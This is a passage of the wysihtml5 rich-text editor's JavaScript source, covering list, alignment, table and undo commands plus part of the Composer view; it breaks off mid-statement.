    composer.selection.setAfter(textNode);\n      } else {\n        composer.selection.setAfter(image);\n      }\n    },\n\n    state: function(composer) {\n      var doc = composer.doc,\n          selectedNode,\n          text,\n          imagesInSelection;\n\n      if (!wysihtml5.dom.hasElementWithTagName(doc, NODE_NAME)) {\n        return false;\n      }\n\n      selectedNode = composer.selection.getSelectedNode();\n      if (!selectedNode) {\n        return false;\n      }\n\n      if (selectedNode.nodeName === NODE_NAME) {\n        // This works perfectly in IE\n        return selectedNode;\n      }\n\n      if (selectedNode.nodeType !== wysihtml5.ELEMENT_NODE) {\n        return false;\n      }\n\n      text = composer.selection.getText();\n      text = wysihtml5.lang.string(text).trim();\n      if (text) {\n        return false;\n      }\n\n      imagesInSelection = composer.selection.getNodes(wysihtml5.ELEMENT_NODE, function(node) {\n        return node.nodeName === \"IMG\";\n      });\n\n      if (imagesInSelection.length !== 1) {\n        return false;\n      }\n\n      return imagesInSelection[0];\n    }\n  };\n})(wysihtml5);\n;(function(wysihtml5) {\n  var LINE_BREAK = \"<br>\" + (wysihtml5.browser.needsSpaceAfterLineBreak() ? \" \" : \"\");\n\n  wysihtml5.commands.insertLineBreak = {\n    exec: function(composer, command) {\n      if (composer.commands.support(command)) {\n        composer.doc.execCommand(command, false, null);\n        if (!wysihtml5.browser.autoScrollsToCaret()) {\n          composer.selection.scrollIntoView();\n        }\n      } else {\n        composer.commands.exec(\"insertHTML\", LINE_BREAK);\n      }\n    },\n\n    state: function() {\n      return false;\n    }\n  };\n})(wysihtml5);\n;wysihtml5.commands.insertOrderedList = {\n  exec: function(composer, command) {\n    wysihtml5.commands.insertList.exec(composer, command, \"OL\");\n  },\n\n  state: function(composer, command) {\n    return wysihtml5.commands.insertList.state(composer, command, \"OL\");\n  }\n};\n;wysihtml5.commands.insertUnorderedList = {\n  exec: function(composer, command) {\n    wysihtml5.commands.insertList.exec(composer, command, \"UL\");\n  },\n\n  state: function(composer, command) {\n    return wysihtml5.commands.insertList.state(composer, command, \"UL\");\n  }\n};\n;wysihtml5.commands.insertList = (function(wysihtml5) {\n\n  var isNode = function(node, name) {\n    if (node && node.nodeName) {\n      if (typeof name === 'string') {\n        name = [name];\n      }\n      for (var n = name.length; n--;) {\n        if (node.nodeName === name[n]) {\n          return true;\n        }\n      }\n    }\n    return false;\n  };\n\n  var findListEl = function(node, nodeName, composer) {\n    var ret = {\n          el: null,\n          other: false\n        };\n\n    if (node) {\n      var parentLi = wysihtml5.dom.getParentElement(node, { nodeName: \"LI\" }),\n          otherNodeName = (nodeName === \"UL\") ? \"OL\" : \"UL\";\n\n      if (isNode(node, nodeName)) {\n        ret.el = node;\n      } else if (isNode(node, otherNodeName)) {\n        ret = {\n          el: node,\n          other: true\n        };\n      } else if (parentLi) {\n        if (isNode(parentLi.parentNode, nodeName)) {\n          ret.el = parentLi.parentNode;\n        } else if (isNode(parentLi.parentNode, otherNodeName)) {\n          ret = {\n            el : parentLi.parentNode,\n            other: true\n          };\n        }\n      }\n    }\n\n    // do not count list elements outside of composer\n    if (ret.el && !composer.element.contains(ret.el)) {\n      ret.el = null;\n    }\n\n    return ret;\n  };\n\n  var handleSameTypeList = function(el, nodeName, composer) {\n    var otherNodeName = (nodeName === \"UL\") ? \"OL\" : \"UL\",\n        otherLists, innerLists;\n    // Unwrap list\n    // <ul><li>foo</li><li>bar</li></ul>\n    // becomes:\n    // foo<br>bar<br>\n    composer.selection.executeAndRestore(function() {\n      var otherLists = getListsInSelection(otherNodeName, composer);\n      if (otherLists.length) {\n        for (var l = otherLists.length; l--;) {\n          wysihtml5.dom.renameElement(otherLists[l], nodeName.toLowerCase());\n        }\n      } else {\n        innerLists = getListsInSelection(['OL', 'UL'], composer);\n        for (var i = innerLists.length; i--;) {\n          wysihtml5.dom.resolveList(innerLists[i], composer.config.useLineBreaks);\n        }\n        wysihtml5.dom.resolveList(el, composer.config.useLineBreaks);\n      }\n    });\n  };\n\n  var handleOtherTypeList =  function(el, nodeName, composer) {\n    var otherNodeName = (nodeName === \"UL\") ? \"OL\" : \"UL\";\n    // Turn an ordered list into an unordered list\n    // <ol><li>foo</li><li>bar</li></ol>\n    // becomes:\n    // <ul><li>foo</li><li>bar</li></ul>\n    // Also rename other lists in selection\n    composer.selection.executeAndRestore(function() {\n      var renameLists = [el].concat(getListsInSelection(otherNodeName, composer));\n\n      // All selection inner lists get renamed too\n      for (var l = renameLists.length; l--;) {\n        wysihtml5.dom.renameElement(renameLists[l], nodeName.toLowerCase());\n      }\n    });\n  };\n\n  var getListsInSelection = function(nodeName, composer) {\n      var ranges = composer.selection.getOwnRanges(),\n          renameLists = [];\n\n      for (var r = ranges.length; r--;) {\n        renameLists = renameLists.concat(ranges[r].getNodes([1], function(node) {\n          return isNode(node, nodeName);\n        }));\n      }\n\n      return renameLists;\n  };\n\n  var createListFallback = function(nodeName, composer) {\n    // Fallback for Create list\n    composer.selection.executeAndRestoreRangy(function() {\n      var tempClassName =  \"_wysihtml5-temp-\" + new Date().getTime(),\n          tempElement = composer.selection.deblockAndSurround({\n            \"nodeName\": \"div\",\n            \"className\": tempClassName\n          }),\n          isEmpty, list;\n\n      // This space causes new lists to never break on enter \n      var INVISIBLE_SPACE_REG_EXP = /\\uFEFF/g;\n      tempElement.innerHTML = tempElement.innerHTML.replace(INVISIBLE_SPACE_REG_EXP, \"\");\n      \n      if (tempElement) {\n        isEmpty = wysihtml5.lang.array([\"\", \"<br>\", wysihtml5.INVISIBLE_SPACE]).contains(tempElement.innerHTML);\n        list = wysihtml5.dom.convertToList(tempElement, nodeName.toLowerCase(), composer.parent.config.uneditableContainerClassname);\n        if (isEmpty) {\n          composer.selection.selectNode(list.querySelector(\"li\"), true);\n        }\n      }\n    });\n  };\n\n  return {\n    exec: function(composer, command, nodeName) {\n      var doc           = composer.doc,\n          cmd           = (nodeName === \"OL\") ? \"insertOrderedList\" : \"insertUnorderedList\",\n          selectedNode  = composer.selection.getSelectedNode(),\n          list          = findListEl(selectedNode, nodeName, composer);\n\n      if (!list.el) {\n        if (composer.commands.support(cmd)) {\n          doc.execCommand(cmd, false, null);\n        } else {\n          createListFallback(nodeName, composer);\n        }\n      } else if (list.other) {\n        handleOtherTypeList(list.el, nodeName, composer);\n      } else {\n        handleSameTypeList(list.el, nodeName, composer);\n      }\n    },\n\n    state: function(composer, command, nodeName) {\n      var selectedNode = composer.selection.getSelectedNode(),\n          list         = findListEl(selectedNode, nodeName, composer);\n\n      return (list.el && !list.other) ? list.el : false;\n    }\n  };\n\n})(wysihtml5);;wysihtml5.commands.italic = {\n  exec: function(composer, command) {\n    wysihtml5.commands.formatInline.execWithToggle(composer, command, \"i\");\n  },\n\n  state: function(composer, command) {\n    // element.ownerDocument.queryCommandState(\"italic\") results:\n    // firefox: only <i>\n    // chrome:  <i>, <em>, <blockquote>, ...\n    // ie:      <i>, <em>\n    // opera:   only <i>\n    return wysihtml5.commands.formatInline.state(composer, command, \"i\");\n  }\n};\n;(function(wysihtml5) {\n  var CLASS_NAME  = \"wysiwyg-text-align-center\",\n      REG_EXP     = /wysiwyg-text-align-[0-9a-z]+/g;\n\n  wysihtml5.commands.justifyCenter = {\n    exec: function(composer, command) {\n      return wysihtml5.commands.formatBlock.exec(composer, \"formatBlock\", null, CLASS_NAME, REG_EXP);\n    },\n\n    state: function(composer, command) {\n      return wysihtml5.commands.formatBlock.state(composer, \"formatBlock\", null, CLASS_NAME, REG_EXP);\n    }\n  };\n})(wysihtml5);\n;(function(wysihtml5) {\n  var CLASS_NAME  = \"wysiwyg-text-align-left\",\n      REG_EXP     = /wysiwyg-text-align-[0-9a-z]+/g;\n\n  wysihtml5.commands.justifyLeft = {\n    exec: function(composer, command) {\n      return wysihtml5.commands.formatBlock.exec(composer, \"formatBlock\", null, CLASS_NAME, REG_EXP);\n    },\n\n    state: function(composer, command) {\n      return wysihtml5.commands.formatBlock.state(composer, \"formatBlock\", null, CLASS_NAME, REG_EXP);\n    }\n  };\n})(wysihtml5);\n;(function(wysihtml5) {\n  var CLASS_NAME  = \"wysiwyg-text-align-right\",\n      REG_EXP     = /wysiwyg-text-align-[0-9a-z]+/g;\n\n  wysihtml5.commands.justifyRight = {\n    exec: function(composer, command) {\n      return wysihtml5.commands.formatBlock.exec(composer, \"formatBlock\", null, CLASS_NAME, REG_EXP);\n    },\n\n    state: function(composer, command) {\n      return wysihtml5.commands.formatBlock.state(composer, \"formatBlock\", null, CLASS_NAME, REG_EXP);\n    }\n  };\n})(wysihtml5);\n;(function(wysihtml5) {\n  var CLASS_NAME  = \"wysiwyg-text-align-justify\",\n      REG_EXP     = /wysiwyg-text-align-[0-9a-z]+/g;\n\n  wysihtml5.commands.justifyFull = {\n    exec: function(composer, command) {\n      return wysihtml5.commands.formatBlock.exec(composer, \"formatBlock\", null, CLASS_NAME, REG_EXP);\n    },\n\n    state: function(composer, command) {\n      return wysihtml5.commands.formatBlock.state(composer, \"formatBlock\", null, CLASS_NAME, REG_EXP);\n    }\n  };\n})(wysihtml5);\n;(function(wysihtml5) {\n  var STYLE_STR  = \"text-align: right;\",\n      REG_EXP = /(\\s|^)text-align\\s*:\\s*[^;\\s]+;?/gi;\n\n  wysihtml5.commands.alignRightStyle = {\n    exec: function(composer, command) {\n      return wysihtml5.commands.formatBlock.exec(composer, \"formatBlock\", null, null, null, STYLE_STR, REG_EXP);\n    },\n\n    state: function(composer, command) {\n      return wysihtml5.commands.formatBlock.state(composer, \"formatBlock\", null, null, null, STYLE_STR, REG_EXP);\n    }\n  };\n})(wysihtml5);\n;(function(wysihtml5) {\n  var STYLE_STR  = \"text-align: left;\",\n      REG_EXP = /(\\s|^)text-align\\s*:\\s*[^;\\s]+;?/gi;\n\n  wysihtml5.commands.alignLeftStyle = {\n    exec: function(composer, command) {\n      return wysihtml5.commands.formatBlock.exec(composer, \"formatBlock\", null, null, null, STYLE_STR, REG_EXP);\n    },\n\n    state: function(composer, command) {\n      return wysihtml5.commands.formatBlock.state(composer, \"formatBlock\", null, null, null, STYLE_STR, REG_EXP);\n    }\n  };\n})(wysihtml5);\n;(function(wysihtml5) {\n  var STYLE_STR  = \"text-align: center;\",\n      REG_EXP = /(\\s|^)text-align\\s*:\\s*[^;\\s]+;?/gi;\n\n  wysihtml5.commands.alignCenterStyle = {\n    exec: function(composer, command) {\n      return wysihtml5.commands.formatBlock.exec(composer, \"formatBlock\", null, null, null, STYLE_STR, REG_EXP);\n    },\n\n    state: function(composer, command) {\n      return wysihtml5.commands.formatBlock.state(composer, \"formatBlock\", null, null, null, STYLE_STR, REG_EXP);\n    }\n  };\n})(wysihtml5);\n;wysihtml5.commands.redo = {\n  exec: function(composer) {\n    return composer.undoManager.redo();\n  },\n\n  state: function(composer) {\n    return false;\n  }\n};\n;wysihtml5.commands.underline = {\n  exec: function(composer, command) {\n    wysihtml5.commands.formatInline.execWithToggle(composer, command, \"u\");\n  },\n\n  state: function(composer, command) {\n    return wysihtml5.commands.formatInline.state(composer, command, \"u\");\n  }\n};\n;wysihtml5.commands.undo = {\n  exec: function(composer) {\n    return composer.undoManager.undo();\n  },\n\n  state: function(composer) {\n    return false;\n  }\n};\n;wysihtml5.commands.createTable = {\n  exec: function(composer, command, value) {\n      var col, row, html;\n      if (value && value.cols && value.rows && parseInt(value.cols, 10) > 0 && parseInt(value.rows, 10) > 0) {\n          if (value.tableStyle) {\n            html = \"<table style=\\\"\" + value.tableStyle + \"\\\">\";\n          } else {\n            html = \"<table>\";\n          }\n          html += \"<tbody>\";\n          for (row = 0; row < value.rows; row ++) {\n              html += '<tr>';\n              for (col = 0; col < value.cols; col ++) {\n                  html += \"<td>&nbsp;</td>\";\n              }\n              html += '</tr>';\n          }\n          html += \"</tbody></table>\";\n          composer.commands.exec(\"insertHTML\", html);\n          //composer.selection.insertHTML(html);\n      }\n\n\n  },\n\n  state: function(composer, command) {\n      return false;\n  }\n};\n;wysihtml5.commands.mergeTableCells = {\n  exec: function(composer, command) {\n      if (composer.tableSelection && composer.tableSelection.start && composer.tableSelection.end) {\n          if (this.state(composer, command)) {\n              wysihtml5.dom.table.unmergeCell(composer.tableSelection.start);\n          } else {\n              wysihtml5.dom.table.mergeCellsBetween(composer.tableSelection.start, composer.tableSelection.end);\n          }\n      }\n  },\n\n  state: function(composer, command) {\n      if (composer.tableSelection) {\n          var start = composer.tableSelection.start,\n              end = composer.tableSelection.end;\n          if (start && end && start == end &&\n              ((\n                  wysihtml5.dom.getAttribute(start, \"colspan\") &&\n                  parseInt(wysihtml5.dom.getAttribute(start, \"colspan\"), 10) > 1\n              ) || (\n                  wysihtml5.dom.getAttribute(start, \"rowspan\") &&\n                  parseInt(wysihtml5.dom.getAttribute(start, \"rowspan\"), 10) > 1\n              ))\n          ) {\n              return [start];\n          }\n      }\n      return false;\n  }\n};\n;wysihtml5.commands.addTableCells = {\n  exec: function(composer, command, value) {\n      if (composer.tableSelection && composer.tableSelection.start && composer.tableSelection.end) {\n\n          // switches start and end if start is bigger than end (reverse selection)\n          var tableSelect = wysihtml5.dom.table.orderSelectionEnds(composer.tableSelection.start, composer.tableSelection.end);\n          if (value == \"before\" || value == \"above\") {\n              wysihtml5.dom.table.addCells(tableSelect.start, value);\n          } else if (value == \"after\" || value == \"below\") {\n              wysihtml5.dom.table.addCells(tableSelect.end, value);\n          }\n          setTimeout(function() {\n              composer.tableSelection.select(tableSelect.start, tableSelect.end);\n          },0);\n      }\n  },\n\n  state: function(composer, command) {\n      return false;\n  }\n};\n;wysihtml5.commands.deleteTableCells = {\n  exec: function(composer, command, value) {\n      if (composer.tableSelection && composer.tableSelection.start && composer.tableSelection.end) {\n          var tableSelect = wysihtml5.dom.table.orderSelectionEnds(composer.tableSelection.start, composer.tableSelection.end),\n              idx = wysihtml5.dom.table.indexOf(tableSelect.start),\n              selCell,\n              table = composer.tableSelection.table;\n\n          wysihtml5.dom.table.removeCells(tableSelect.start, value);\n          setTimeout(function() {\n              // move selection to next or previous if not present\n              selCell = wysihtml5.dom.table.findCell(table, idx);\n\n              if (!selCell){\n                  if (value == \"row\") {\n                      selCell = wysihtml5.dom.table.findCell(table, {\n                          \"row\": idx.row - 1,\n                          \"col\": idx.col\n                      });\n                  }\n\n                  if (value == \"column\") {\n                      selCell = wysihtml5.dom.table.findCell(table, {\n                          \"row\": idx.row,\n                          \"col\": idx.col - 1\n                      });\n                  }\n              }\n              if (selCell) {\n                  composer.tableSelection.select(selCell, selCell);\n              }\n          }, 0);\n\n      }\n  },\n\n  state: function(composer, command) {\n      return false;\n  }\n};\n;wysihtml5.commands.indentList = {\n  exec: function(composer, command, value) {\n    var listEls = composer.selection.getSelectionParentsByTag('LI');\n    if (listEls) {\n      return this.tryToPushLiLevel(listEls, composer.selection);\n    }\n    return false;\n  },\n\n  state: function(composer, command) {\n      return false;\n  },\n\n  tryToPushLiLevel: function(liNodes, selection) {\n    var listTag, list, prevLi, liNode, prevLiList,\n        found = false;\n\n    selection.executeAndRestoreRangy(function() {\n\n      for (var i = liNodes.length; i--;) {\n        liNode = liNodes[i];\n        listTag = (liNode.parentNode.nodeName === 'OL') ? 'OL' : 'UL';\n        list = liNode.ownerDocument.createElement(listTag);\n        prevLi = wysihtml5.dom.domNode(liNode).prev({nodeTypes: [wysihtml5.ELEMENT_NODE]});\n        prevLiList = (prevLi) ? prevLi.querySelector('ul, ol') : null;\n\n        if (prevLi) {\n          if (prevLiList) {\n            prevLiList.appendChild(liNode);\n          } else {\n            list.appendChild(liNode);\n            prevLi.appendChild(list);\n          }\n          found = true;\n        }\n      }\n\n    });\n    return found;\n  }\n};\n;wysihtml5.commands.outdentList = {\n  exec: function(composer, command, value) {\n    var listEls = composer.selection.getSelectionParentsByTag('LI');\n    if (listEls) {\n      return this.tryToPullLiLevel(listEls, composer);\n    }\n    return false;\n  },\n\n  state: function(composer, command) {\n      return false;\n  },\n\n  tryToPullLiLevel: function(liNodes, composer) {\n    var listNode, outerListNode, outerLiNode, list, prevLi, liNode, afterList,\n        found = false,\n        that = this;\n\n    composer.selection.executeAndRestoreRangy(function() {\n\n      for (var i = liNodes.length; i--;) {\n        liNode = liNodes[i];\n        if (liNode.parentNode) {\n          listNode = liNode.parentNode;\n\n          if (listNode.tagName === 'OL' || listNode.tagName === 'UL') {\n            found = true;\n\n            outerListNode = wysihtml5.dom.getParentElement(listNode.parentNode, { nodeName: ['OL', 'UL']}, false, composer.element);\n            outerLiNode = wysihtml5.dom.getParentElement(listNode.parentNode, { nodeName: ['LI']}, false, composer.element);\n\n            if (outerListNode && outerLiNode) {\n\n              if (liNode.nextSibling) {\n                afterList = that.getAfterList(listNode, liNode);\n                liNode.appendChild(afterList);\n              }\n              outerListNode.insertBefore(liNode, outerLiNode.nextSibling);\n\n            } else {\n\n              if (liNode.nextSibling) {\n                afterList = that.getAfterList(listNode, liNode);\n                liNode.appendChild(afterList);\n              }\n\n              for (var j = liNode.childNodes.length; j--;) {\n                listNode.parentNode.insertBefore(liNode.childNodes[j], listNode.nextSibling);\n              }\n\n              listNode.parentNode.insertBefore(document.createElement('br'), listNode.nextSibling);\n              liNode.parentNode.removeChild(liNode);\n\n            }\n\n            // cleanup\n            if (listNode.childNodes.length === 0) {\n                listNode.parentNode.removeChild(listNode);\n            }\n          }\n        }\n      }\n\n    });\n    return found;\n  },\n\n  getAfterList: function(listNode, liNode) {\n    var nodeName = listNode.nodeName,\n        newList = document.createElement(nodeName);\n\n    while (liNode.nextSibling) {\n      newList.appendChild(liNode.nextSibling);\n    }\n    return newList;\n  }\n\n};;/**\n * Undo Manager for wysihtml5\n * slightly inspired by http://rniwa.com/editing/undomanager.html#the-undomanager-interface\n */\n(function(wysihtml5) {\n  var Z_KEY               = 90,\n      Y_KEY               = 89,\n      BACKSPACE_KEY       = 8,\n      DELETE_KEY          = 46,\n      MAX_HISTORY_ENTRIES = 25,\n      DATA_ATTR_NODE      = \"data-wysihtml5-selection-node\",\n      DATA_ATTR_OFFSET    = \"data-wysihtml5-selection-offset\",\n      UNDO_HTML           = '<span id=\"_wysihtml5-undo\" class=\"_wysihtml5-temp\">' + wysihtml5.INVISIBLE_SPACE + '</span>',\n      REDO_HTML           = '<span id=\"_wysihtml5-redo\" class=\"_wysihtml5-temp\">' + wysihtml5.INVISIBLE_SPACE + '</span>',\n      dom                 = wysihtml5.dom;\n\n  function cleanTempElements(doc) {\n    var tempElement;\n    while (tempElement = doc.querySelector(\"._wysihtml5-temp\")) {\n      tempElement.parentNode.removeChild(tempElement);\n    }\n  }\n\n  wysihtml5.UndoManager = wysihtml5.lang.Dispatcher.extend(\n    /** @scope wysihtml5.UndoManager.prototype */ {\n    constructor: function(editor) {\n      this.editor = editor;\n      this.composer = editor.composer;\n      this.element = this.composer.element;\n\n      this.position = 0;\n      this.historyStr = [];\n      this.historyDom = [];\n\n      this.transact();\n\n      this._observe();\n    },\n\n    _observe: function() {\n      var that      = this,\n          doc       = this.composer.sandbox.getDocument(),\n          lastKey;\n\n      // Catch CTRL+Z and CTRL+Y\n      dom.observe(this.element, \"keydown\", function(event) {\n        if (event.altKey || (!event.ctrlKey && !event.metaKey)) {\n          return;\n        }\n\n        var keyCode = event.keyCode,\n            isUndo = keyCode === Z_KEY && !event.shiftKey,\n            isRedo = (keyCode === Z_KEY && event.shiftKey) || (keyCode === Y_KEY);\n\n        if (isUndo) {\n          that.undo();\n          event.preventDefault();\n        } else if (isRedo) {\n          that.redo();\n          event.preventDefault();\n        }\n      });\n\n      // Catch delete and backspace\n      dom.observe(this.element, \"keydown\", function(event) {\n        var keyCode = event.keyCode;\n        if (keyCode === lastKey) {\n          return;\n        }\n\n        lastKey = keyCode;\n\n        if (keyCode === BACKSPACE_KEY || keyCode === DELETE_KEY) {\n          that.transact();\n        }\n      });\n\n      this.editor\n        .on(\"newword:composer\", function() {\n          that.transact();\n        })\n\n        .on(\"beforecommand:composer\", function() {\n          that.transact();\n        });\n    },\n\n    transact: function() {\n      var previousHtml      = this.historyStr[this.position - 1],\n          currentHtml       = this.composer.getValue(false, false),\n          composerIsVisible   = this.element.offsetWidth > 0 && this.element.offsetHeight > 0,\n          range, node, offset, element, position;\n\n      if (currentHtml === previousHtml) {\n        return;\n      }\n\n      var length = this.historyStr.length = this.historyDom.length = this.position;\n      if (length > MAX_HISTORY_ENTRIES) {\n        this.historyStr.shift();\n        this.historyDom.shift();\n        this.position--;\n      }\n\n      this.position++;\n\n      if (composerIsVisible) {\n        // Do not start saving selection if composer is not visible\n        range   = this.composer.selection.getRange();\n        node    = (range && range.startContainer) ? range.startContainer : this.element;\n        offset  = (range && range.startOffset) ? range.startOffset : 0;\n\n        if (node.nodeType === wysihtml5.ELEMENT_NODE) {\n          element = node;\n        } else {\n          element  = node.parentNode;\n          position = this.getChildNodeIndex(element, node);\n        }\n\n        element.setAttribute(DATA_ATTR_OFFSET, offset);\n        if (typeof(position) !== \"undefined\") {\n          element.setAttribute(DATA_ATTR_NODE, position);\n        }\n      }\n\n      var clone = this.element.cloneNode(!!currentHtml);\n      this.historyDom.push(clone);\n      this.historyStr.push(currentHtml);\n\n      if (element) {\n        element.removeAttribute(DATA_ATTR_OFFSET);\n        element.removeAttribute(DATA_ATTR_NODE);\n      }\n\n    },\n\n    undo: function() {\n      this.transact();\n\n      if (!this.undoPossible()) {\n        return;\n      }\n\n      this.set(this.historyDom[--this.position - 1]);\n      this.editor.fire(\"undo:composer\");\n    },\n\n    redo: function() {\n      if (!this.redoPossible()) {\n        return;\n      }\n\n      this.set(this.historyDom[++this.position - 1]);\n      this.editor.fire(\"redo:composer\");\n    },\n\n    undoPossible: function() {\n      return this.position > 1;\n    },\n\n    redoPossible: function() {\n      return this.position < this.historyStr.length;\n    },\n\n    set: function(historyEntry) {\n      this.element.innerHTML = \"\";\n\n      var i = 0,\n          childNodes = historyEntry.childNodes,\n          length = historyEntry.childNodes.length;\n\n      for (; i<length; i++) {\n        this.element.appendChild(childNodes[i].cloneNode(true));\n      }\n\n      // Restore selection\n      var offset,\n          node,\n          position;\n\n      if (historyEntry.hasAttribute(DATA_ATTR_OFFSET)) {\n        offset    = historyEntry.getAttribute(DATA_ATTR_OFFSET);\n        position  = historyEntry.getAttribute(DATA_ATTR_NODE);\n        node      = this.element;\n      } else {\n        node      = this.element.querySelector(\"[\" + DATA_ATTR_OFFSET + \"]\") || this.element;\n        offset    = node.getAttribute(DATA_ATTR_OFFSET);\n        position  = node.getAttribute(DATA_ATTR_NODE);\n        node.removeAttribute(DATA_ATTR_OFFSET);\n        node.removeAttribute(DATA_ATTR_NODE);\n      }\n\n      if (position !== null) {\n        node = this.getChildNodeByIndex(node, +position);\n      }\n\n      this.composer.selection.set(node, offset);\n    },\n\n    getChildNodeIndex: function(parent, child) {\n      var i           = 0,\n          childNodes  = parent.childNodes,\n          length      = childNodes.length;\n      for (; i<length; i++) {\n        if (childNodes[i] === child) {\n          return i;\n        }\n      }\n    },\n\n    getChildNodeByIndex: function(parent, index) {\n      return parent.childNodes[index];\n    }\n  });\n})(wysihtml5);\n;/**\n * TODO: the following methods still need unit test coverage\n */\nwysihtml5.views.View = Base.extend(\n  /** @scope wysihtml5.views.View.prototype */ {\n  constructor: function(parent, textareaElement, config) {\n    this.parent   = parent;\n    this.element  = textareaElement;\n    this.config   = config;\n    if (!this.config.noTextarea) {\n        this._observeViewChange();\n    }\n  },\n\n  _observeViewChange: function() {\n    var that = this;\n    this.parent.on(\"beforeload\", function() {\n      that.parent.on(\"change_view\", function(view) {\n        if (view === that.name) {\n          that.parent.currentView = that;\n          that.show();\n          // Using tiny delay here to make sure that the placeholder is set before focusing\n          setTimeout(function() { that.focus(); }, 0);\n        } else {\n          that.hide();\n        }\n      });\n    });\n  },\n\n  focus: function() {\n    if (this.element.ownerDocument.querySelector(\":focus\") === this.element) {\n      return;\n    }\n\n    try { this.element.focus(); } catch(e) {}\n  },\n\n  hide: function() {\n    this.element.style.display = \"none\";\n  },\n\n  show: function() {\n    this.element.style.display = \"\";\n  },\n\n  disable: function() {\n    this.element.setAttribute(\"disabled\", \"disabled\");\n  },\n\n  enable: function() {\n    this.element.removeAttribute(\"disabled\");\n  }\n});\n;(function(wysihtml5) {\n  var dom       = wysihtml5.dom,\n      browser   = wysihtml5.browser;\n\n  wysihtml5.views.Composer = wysihtml5.views.View.extend(\n    /** @scope wysihtml5.views.Composer.prototype */ {\n    name: \"composer\",\n\n    // Needed for firefox in order to display a proper caret in an empty contentEditable\n    CARET_HACK: \"<br>\",\n\n    constructor: function(parent, editableElement, config) {\n      this.base(parent, editableElement, config);\n      if (!this.config.noTextarea) {\n          this.textarea = this.parent.textarea;\n      } else {\n          this.editableArea = editableElement;\n      }\n      if (this.config.contentEditableMode) {\n          this._initContentEditableArea();\n      } else {\n          this._initSandbox();\n      }\n    },\n\n    clear: function() {\n      this.element.innerHTML = browser.displaysCaretInEmptyContentEditableCorrectly() ? \"\" : this.CARET_HACK;\n    },\n\n    getValue: function(parse, clearInternals) {\n      var value = this.isEmpty() ? \"\" : wysihtml5.quirks.getCorrectInnerHTML(this.element);\n      if (parse !== false) {\n        value = this.parent.parse(value, (clearInternals === false) ? false : true);\n      }\n\n      return value;\n    },\n\n    setValue: function(html, parse) {\n      if (parse) {\n        html = this.parent.parse(html);\n      }\n\n      try {\n        this.element.innerHTML = html;\n      } catch (e) {\n        this.element.innerText = html;\n      }\n    },\n\n    cleanUp: function() {\n        this.parent.parse(this.element);\n    },\n\n    show: function() {\n      this.editableArea.style.display = this._displayStyle || \"\";\n\n      if (!this.config.noTextarea && !this.textarea.element.disabled) {\n        // Firefox needs this, otherwise contentEditable becomes uneditable\n        this.disable();\n        this.enable();\n      }\n    },\n\n    hide: function() {\n      this._displayStyle = dom.getStyle(\"display\").from(this.editableArea);\n      if (this._displayStyle === \"none\") {\n        this._displayStyle = null;\n      }\n      this.editableArea.style.display = \"none\";\n    },\n\n    disable: function() {\n      this.parent.fire(\"disable:composer\");\n      this.element.removeAttribute(\"contentEditable\");\n    },\n\n    enable: function() {\n      this.parent.fire(\"enable:composer\");\n      this.element.setAttribute(\"contentEditable\", \"true\");\n    },\n\n    focus: function(setToEnd) {\n      // IE 8 fires the focus event after .focus()\n      // This is needed by our simulate_placeholder.js to work\n      // therefore we clear it ourselves this time\n      if (wysihtml5.browser.doesAsyncFocus() && this.hasPlaceholderSet()) {\n        this.clear();\n      }\n\n      this.base();\n\n      var lastChild = this.element.lastChild;\n      if (setToEnd && lastChild && this.selection) {\n        if (lastChild.nodeName === \"BR\") {\n          this.selection.setBefore(this.element.lastChild);\n        } else {\n          this.selection.setAfter(this.element.lastChild);\n        }\n      }\n    },\n\n    getTextContent: function() {\n      return dom.getTextContent(this.element);\n    },\n\n    hasPlaceholderSet: function() {\n      return this.getTextContent() == ((this.config.noTextarea) ? this.editableArea.getAttribute(\"data-placeholder\") : this.textarea.element.getAttribute(\"placeholder\")) && this.placeholderSet;\n    },\n\n    isEmpty: function() {\n      var innerHTML = this.element.innerHTML.toLowerCase();\n      return (/^(\\s|<br>|<\\/br>|<p>|<\\/p>)*$/i).test(innerHTML)  ||\n             innerHTML === \"\"            ||\n             innerHTML === \"<br>\"        ||\n             innerHTML === \"<p></p>\"     ||\n             innerHTML === \"<p><br></p>\" ||\n             this.hasPlaceholderSet();\n    },\n\n    _initContentEditableArea: function() {\n        var that = this;\n\n        if (this.config.noTextarea) {\n            this.sandbox = new dom.ContentEditableArea(function() {\n                that._create();\n            }, {}, this.editableArea);\n        } else {\n            this.sandbox = new dom.ContentEditableArea(function() {\n                that._create();\n            });\n            this.editableArea = this.sandbox.getContentEditable();\n            dom.insert(this.editableArea).after(this.textarea.element);\n            this._createWysiwygFormField();\n        }\n    },\n\n    _initSandbox: function() {\n      var that = this;\n\n      this.sandbox = new dom.Sandbox(function() {\n        that._create();\n      }, {\n        stylesheets:  this.config.stylesheets\n      });\n      this.editableArea  = this.sandbox.getIframe();\n\n      var textareaElement = this.textarea.element;\n      dom.insert(this.editableArea).after(textareaElement);\n\n      this._createWysiwygFormField();\n    },\n\n    // Creates hidden field which tells the server after submit, that the user used an wysiwyg editor\n    _createWysiwygFormField: function() {\n        if (this.textarea.element.form) {\n          var hiddenField = document.createElement(\"input\");\n          hiddenField.type   = \"hidden\";\n          hiddenField.name   = \"_wysihtml5_mode\";\n          hiddenField.value  = 1;\n          dom.insert(hiddenField).after(this.textarea.element);\n        }\n    },\n\n    _create: function() {\n      var that = this;\n      this.doc                = this.sandbox.getDocument();\n      this.element            = (this.config.contentEditableMode) ? this.sandbox.getContentEditable() : this.doc.body;\n      if (!this.config.noTextarea) {\n          this.textarea           = this.parent.textarea;\n          this.element.innerHTML  = this.textarea.getValue(true, false);\n      } else {\n          this.cleanUp(); // cleans contenteditable on initiation as it may contain html\n      }\n\n      // Make sure our selection handler is ready\n      this.selection = new wysihtml5.Selection(this.parent, this.element, this.config.uneditableContainerClassname);\n\n      // Make sure commands dispatcher is ready\n      this.commands  = new wysihtml5.Commands(this.parent);\n\n      if (!this.config.noTextarea) {\n          dom.copyAttributes([\n              \"className\", \"spellcheck\", \"title\", \"lang\", \"dir\", \"accessKey\"\n          ]).from(this.textarea.element).to(this.element);\n      }\n\n      dom.addClass(this.element, this.config.composerClassName);\n      //\n      // Make the editor look like the original textarea, by syncing styles\n      if (this.config.style && !this.config.contentEditableMode) {\n        this.style();\n      }\n\n      this.observe();\n\n      var name = this.config.name;\n      if (name) {\n        dom.addClass(this.element, name);\n        if (!this.config.contentEditableMode) { dom.addClass(this.editableArea, name); }\n      }\n\n      this.enable();\n\n      if (!this.config.noTextarea && this.textarea.element.disabled) {\n        this.disable();\n      }\n\n      // Simulate html5 placeholder attribute on contentEditable element\n      var placeholderText = 